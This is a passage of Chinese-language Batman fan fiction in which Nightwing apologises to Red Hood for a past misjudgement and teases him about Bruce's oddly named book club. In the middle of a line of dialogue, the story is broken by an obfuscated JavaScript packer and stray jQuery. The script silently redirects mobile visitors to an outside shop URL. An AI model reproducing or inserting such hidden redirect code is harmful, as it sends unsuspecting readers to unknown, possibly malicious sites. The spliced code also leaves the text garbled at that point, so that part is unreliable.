杰森绷紧肩膀，“你为什么在这里，夜翼？”
但迪克灿烂的笑容却没有丝毫改变，“帮你啊。”他指了指地上昏迷的小偷，“我以为这件事很明显？”
“你跟我不是互相帮忙的关系。”杰森僵硬道，“而且，我不欢迎任何蝙蝠进入犯罪巷，这是我的地盘。”
“我没有。”迪克的反应却跟他想象的不一样，“你看，”他抬起手，“这里是新城区，我没有越界。”
杰森顿了一下。环顾四周，他意识到自己在追捕小偷的时候的确已经离开了犯罪巷，哪怕只是半条街的距离。
Shit，这是杰森的第一反应。然后意识到自己压根没有必要心虚，于是昂起下巴挑衅，“So what？离开犯罪巷后我就不能抓捕罪犯了吗？”
“什么？”迪克愣了一下，“不，你当然可以。我只是正好就在附近，正好看见你在抓小偷，然后小偷正好朝我的方向跑，我就顺手帮你抓住了啊。”
红头罩出现在哥谭两年有余，但这还是夜翼头一次在他不是要杀人的情况下‘正好路过’，还没有直接对红头罩出手。
“......Sure，”杰森缓缓道，“你不是在暗地里跟踪红头罩。你只是正好路过。”
Bingo。
夜翼抓了抓脑袋，回答因为心虚慢了半拍，“Well——”他拉长声音，“我可能...可能的确正好有话想要对你说。So，”他耸了耸肩，“你现在有空吗？”
“这由你要说什么来决定。”杰森希望头盔能传递出他正在怒视对方的事实，“假如你又是来指责我要杀了罗宾，then no，我没有一秒的时间能浪费在你身上。”
迪克却没有半点眼色，“噢，这恰好就是我想说的——”杰森转身就走，背后传来夜翼匆忙追来的脚步声，“等等，Hood！我不是——”有人手按上了杰森的肩膀，杰森猛地一抖，几乎条件反射地抓住夜翼的手腕要扭断，但在迪克的痛呼中在最后关头止住。
他嘶嘶地一字一句。“Don't. Fucking. Touch. Me.”
“抱歉，抱歉！”
杰森缓缓松开手，看迪克抽着气将手腕缩在胸口。但出乎他意料，对方脸上并没有任何不满，甚至，迪克看起来在真心实意地感到抱歉，“真的，对不起。”他又道，“我没意识到、不、well，我该知道你不喜欢我碰你，尤其是考虑到我们俩上次碰面发生的事。我刚刚只是怕你真的走了，没动脑子就下意识地想抓住你。”
起码有一点迪克没有说错，夜翼今晚的态度跟上次碰面简直是一百八十度大转弯。
杰森警惕问道，“所以你到底有什么事？”
迪克站直了身体，吸气，然后吐气。
然后像是下定了决心。
“我是来跟你道歉的。”
杰森心里面有几十种猜想，比如夜翼需要帮助，比如有人死了迪克怀疑是红头罩干的，比如夜翼有关于犯罪巷的情报提供给红头罩，但唯独没想到这个。他愣住，“什么？”
“我需要道歉，为我上一次见面时的行为。”迪克在杰森怀疑的目光下坦然道，“我应该先关注周围的环境而不是着急下结论，不该在没有任何信息的情况下直接得出你想要伤害罗宾的结论。更不应该在草率得出结论后草率地出手，我起码该给你一个解释的机会。我这些都做错了，所以，我来找你道歉。”
杰森哪怕是在上周最生气最——他打死也不会承认，但是——最委屈的时候，都不曾想过迪克真的会向他道歉。当时他被杰森用事实反驳后说出来的道歉不算，那是被逼的，杰森也不需要那种敷衍又或者迪克用黄金男孩高高在上的态度说出的道歉。但现在迪克甚至专门过来找杰森就是为了道歉，他甚至看起来非常诚恳。杰森反而不知所措了，突然升起一种你全副武装准备打一架，却一拳打在了棉花上的感觉。
“噢。”他道。
“Yea。”迪克抬头看向杰森，姿态坦然、柔软。
几秒后，他又补充道，“你可以不用接受，我也不要求你原谅。我只是觉得你值得收到一个道歉，you know？”
不知为何，杰森的胸口有些涩。他不自在地清了清嗓子，“Sure。我，呃，我听见了。你的道歉。”
迪克点头。
他们俩盯着彼此，陷入了沉默。
气氛逐渐变得尴尬起来，杰森忍不住扭头，打量旁边的地板。他想说点什么打破这种沉默，但发现自己无话可说。他突然意识到，就跟之前布鲁斯在屋顶找杰森邀请他帮忙一样，这还是杰森复活后第一次跟迪克在非敌对的情况下见面。这个迪克跟几年前杰森认识的迪克已经不同了，而对迪克来说杰森也早就不是弟弟，而是一个占了他兄弟身体的陌生人。他们已经完全不相熟了。
当这种不自在的感觉到达顶峰，杰森动了动，“假如只有这件事——”
迪克像是察觉到他的想法一样伸出手，杰森下意识地后退，迪克的手僵硬地悬在空中。
他们又陷入尴尬的沉默。
几秒后，是迪克先反应过来，垂下手。杰森也恢复过来，清了清嗓子，“假如只有这一件事，我就。”他指了指身后。
“不。”迪克却道，“其实我还有一件事想问你。”
“我就知道。”杰森啐道。他就知道，迪克头不可能专程为了一个道歉来找他。没有人只会为了给红头罩道歉专门来找他，尤其不可能是高高在上的蝙蝠跟鸟。
“什么？”迪克迷茫问。
“Doesn't matter.”杰森不耐烦道，“说啊，什么事。”
“我是想问，”迪克露出微笑，杰森突然有了不妙的预感。过去每一次，杰森是说每一次，迪克想要捉弄青少年的杰森时就会露出这样的笑容。“跟布鲁斯一起参加图书会的感觉怎么样？”
一秒。
两秒。
“What.”杰森毫无起伏。
迪克的笑容扩大，“你听见我的问题了。”
杰森不敢置信地重复，“跟布鲁斯参加图书会的感觉？这就是你想问的？”
“是啊。”大蓝鸟的语气轻快，“不然呢？”
“我不知道，问我犯罪巷为什么又有人死了？接下来谋杀罗宾的计划是什么？你为什么又跟蝙蝠侠打架了？你自己列出来，我打赌三页纸那么多的事情能质问我。”
“Aw，little wing。”迪克的嘴角难过地下垂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12700055|123091||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“不要叫我小翅膀！”杰森下意识道。
“可你就是小翅膀啊。”迪克朝他眨眼。
杰森重复，“不要。叫我。小翅膀。”
“Okay，fine，杰森，then。”迪克举起投降的双手。
“不要叫我杰——”
迪克抬高声音压过他，“我的意思是，不是所有的事情都一定要跟义警相关，okay？因为我们的生活不全是夜晚的事业，我在关心你的义警事业同时也有资格关心你本人。我知道你最近跟布鲁斯一起去参加图书会了，我更知道，”他又露出那种不怀好意的笑，“他把这个读书会起名叫潜水松鸦。”
“Oh God。”杰森捂脸，哪怕他本来就戴着头盔，“这个名字简直太难听了，他疯了吗。”
迪克慢条斯理，“我主要是好奇，一个读书会，到底是有什么能让他联想到潜水，or for the same matter，松鸦。”
“谁知道，你问他去。”杰森从鼻子喷气，“我只知道这个名字让我羞耻到都不愿意告诉其他人我参加了读书会。”
迪克仰头大笑。
杰森看他畅快的样子实在不顺眼，“不要认为你就有资格嘲笑我们了。”迪克停止大笑，眨眼看他。杰森放慢语气说道，“我觉得作为一个DICK，”迪克大声呻.吟着捂脸，“你没有资格嘲笑其他任何人起的名字，你说是吗。”
迪克朝他翻白眼。尽管夜翼还戴着多米诺面具，杰森就是知道他在翻白眼，“你还真是开不腻这类的玩笑。”
“谁让你的名字是这玩意。”杰森故意顿了一下，“Dickwad.”
迪克再次叉腰仰头大笑。不知道为何，这一次他的笑声有些湿润。
然后迪克低下头，再次看他，露出微笑，“Hey，我就是想让你知道，我是真的为之前冤枉你的事感到抱歉。以及，在听到你参加了布鲁斯这个图书会的消息时我真的很开心，真的。为布鲁斯开心，也为了你。我希望、希望你能享受这个图书会，okay？不管别人怎么样，不管布鲁斯怎么样，我希望你能享受读书。”
杰森的胸腔又浮现出了那种涩涩的感觉。
这简直荒谬，杰森知道这很荒谬。迪克跟他明明已经有好几年都没有说过话了，他明明早就不把迪克当成自己的兄弟了，但现在迪克像这样子友善地跟他聊天、开玩笑，杰森又会忍不住去接他的话，又忍不住跟迪克一起开玩笑，甚至有点享受，觉得那些玩笑很好笑。
Fucking ridiculous。
但嘴上，他却说，“Shut the fuck up, dickhead。”
迪克大笑。
终于，他弯腰捡起地上那个仍然陷入昏迷的小偷，一把扛到肩膀上，“随便你怎么嘴硬，little wing。”然后根本不给杰森反驳的机会就直接射出钩爪翻到屋顶上去。只留下杰森瞪着他潇洒的背影。
“不要叫我小翅膀，我恨这个名字。”
但是只有风能听见他的声音。
杰森开始往回走。他走了十步，仍然没能忍住。
“我现在甚至比你还要高三英寸，小翅膀个屁。”